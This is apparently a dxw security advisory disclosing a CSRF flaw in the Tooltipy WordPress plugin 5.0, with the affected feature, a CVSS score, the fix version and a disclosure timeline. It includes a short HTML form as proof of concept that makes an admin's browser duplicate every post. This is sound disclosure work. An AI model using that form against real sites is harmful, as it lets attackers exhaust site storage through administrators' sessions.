Details
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Software: Tooltipy (tooltips for WP)
Version: 5.0
Homepage: https://wordpress.org/plugins/bluet-keywords-tooltip-generator/
Advisory report: https://advisories.dxw.com/advisories/csrf-in-tooltipy/
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Description
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CSRF in Tooltipy (tooltips for WP) could allow anybody to duplicate posts

Vulnerability
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There is a CSRF vulnerability in Tooltipyas aKTTG Convertera feature which allows anybody able to convince an admin to follow a link to duplicate posts. The PoC provided below allows duplicating every post with post_type post. The most obvious malicious use of this vulnerability would be to fill up a disk or database quota which might lead to denial of service or other issues.

Proof of concept
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Open a page containing the following HTML, and click submit:
<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=my_keywords_settings_importer\">
 <input type=\"text\" name=\"go\" value=\"true\">
 <input type=\"text\" name=\"bluet_posttypes_list\" value=\"post\">
 <input type=\"submit\">
</form>
Every post with post_type post will have been duplicated.
In a real attack, the form can be made to autosubmit.

Mitigations
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Upgrade to version 5.1 or later.

Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
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2018-03-29: Discovered
2018-04-10: Reported to vendor via email (first attempt)
2018-04-30: Asked if theyad received the email, via Facebook private message (second attempt)
2018-05-03: Reported again via contact form (third attempt)
2018-05-18: Reported to plugins@wordpress.org
2018-05-18: WordPress plugin team disabled downloads of the plugin
2018-05-21: Vendor reported a fix has been made for the bug (first contact from vendor)
2018-06-05: Updated version of plugin is now available for download on wordpress.org
2018-06-12: Advisory published



Discovered by dxw:
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Tom Adams
Please visit advisories.dxw.com for more information.